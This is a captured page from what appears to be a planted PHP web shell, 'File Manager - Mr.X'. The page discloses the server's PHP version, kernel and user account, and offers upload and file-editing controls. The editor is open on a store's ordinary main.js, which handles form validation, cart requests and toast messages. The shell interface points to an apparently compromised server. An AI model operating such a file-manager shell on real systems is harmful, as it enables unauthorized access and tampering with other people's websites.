🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:main.js
// Preloader fade-out window.addEventListener('load', function() { const preloader = document.getElementById('preloader'); if (preloader) { preloader.classList.add('fade-out'); setTimeout(() => { preloader.style.display = 'none'; }, 500); } }); document.addEventListener('DOMContentLoaded', function() { // 1. Bootstrap Forms Validation const validationForms = document.querySelectorAll('.needs-validation'); Array.from(validationForms).forEach(form => { form.addEventListener('submit', event => { if (!form.checkValidity()) { event.preventDefault(); event.stopPropagation(); } form.classList.add('was-validated'); }, false); }); // 2. Auto Dismiss Flash Alerts after 5 seconds const flashAlerts = document.querySelectorAll('.alert-dismissible'); flashAlerts.forEach(alert => { setTimeout(() => { const bsAlert = bootstrap.Alert.getInstance(alert) || new bootstrap.Alert(alert); bsAlert.close(); }, 5000); }); // 3. Product Details - Thumbnail Selector const mainImg = document.getElementById('main-product-img'); const thumbs = document.querySelectorAll('.thumbnail-indicator'); thumbs.forEach(thumb => { thumb.addEventListener('click', function() { thumbs.forEach(t => t.classList.remove('active', 'border-primary')); this.classList.add('active', 'border-primary'); if (mainImg) { mainImg.src = this.getAttribute('data-src'); } }); }); // 4. Client-side Password Match check for Register/Change Password const registerForm = document.querySelector('form.register-form'); if (registerForm) { const pass = registerForm.querySelector('#password'); const confirmPass = registerForm.querySelector('#confirm_password'); registerForm.addEventListener('submit', function(e) { if (pass.value !== confirmPass.value) { e.preventDefault(); confirmPass.setCustomValidity('Passwords do not match'); confirmPass.reportValidity(); } else { confirmPass.setCustomValidity(''); } }); confirmPass.addEventListener('input', function() { if (pass.value === confirmPass.value) { confirmPass.setCustomValidity(''); } }); } }); /** * AJAX Helper to Add Product to Cart asynchronously * Displays a nice Toast popup message to the user * @param {number} productId * @param {number} qty */ function ajaxAddToCart(productId, qty = 1) { const formData = new FormData(); formData.append('product_id', productId); formData.append('quantity', qty); formData.append('ajax', '1'); // Fetch token from current page csrf tag if exists const csrfToken = document.querySelector('meta[name="csrf-token"]'); if (csrfToken) { formData.append('csrf_token', csrfToken.getAttribute('content')); } fetch(BASE_URL + '/cart.php?action=add_ajax', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.success) { // Update Cart count badge in navbar const badges = document.querySelectorAll('.cart-badge'); badges.forEach(badge => { badge.innerText = data.cart_count; badge.classList.remove('d-none'); }); showToast('Success', data.message, 'success'); } else { showToast('Error', data.message || 'Failed to add item to cart.', 'danger'); } }) .catch(error => { console.error('Error:', error); showToast('Error', 'An error occurred. Please try again.', 'danger'); }); } /** * Show standard Bootstrap Toast notification dynamically * @param {string} title * @param {string} message * @param {string} type 'success' | 'danger' | 'warning' | 'info' */ function showToast(title, message, type = 'success') { // Create toast container if it doesn't exist let toastContainer = document.querySelector('.toast-container'); if (!toastContainer) { toastContainer = document.createElement('div'); toastContainer.className = 'toast-container position-fixed bottom-0 end-0 p-3'; toastContainer.style.zIndex = '9999'; document.body.appendChild(toastContainer); } // Choose border class based on type let borderClass = 'bg-success'; if (type === 'danger') borderClass = 'bg-danger'; if (type === 'warning') borderClass = 'bg-warning text-dark'; if (type === 'info') borderClass = 'bg-info text-dark'; const toastId = 'toast_' + Date.now(); const toastHTML = ` <div id="${toastId}" class="toast align-items-center text-white ${borderClass} border-0 shadow" role="alert" aria-live="assertive" aria-atomic="true" data-bs-delay="4000"> <div class="d-flex"> <div class="toast-body"> <strong>${title}</strong>: ${message} </div> <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button> </div> </div> `; toastContainer.insertAdjacentHTML('beforeend', toastHTML); const toastEl = document.getElementById(toastId); const toast = new bootstrap.Toast(toastEl); toast.show(); // Remove element after hide toastEl.addEventListener('hidden.bs.toast', function() { toastEl.remove(); }); }
Save Changes
Cancel
Create New File
Create New Folder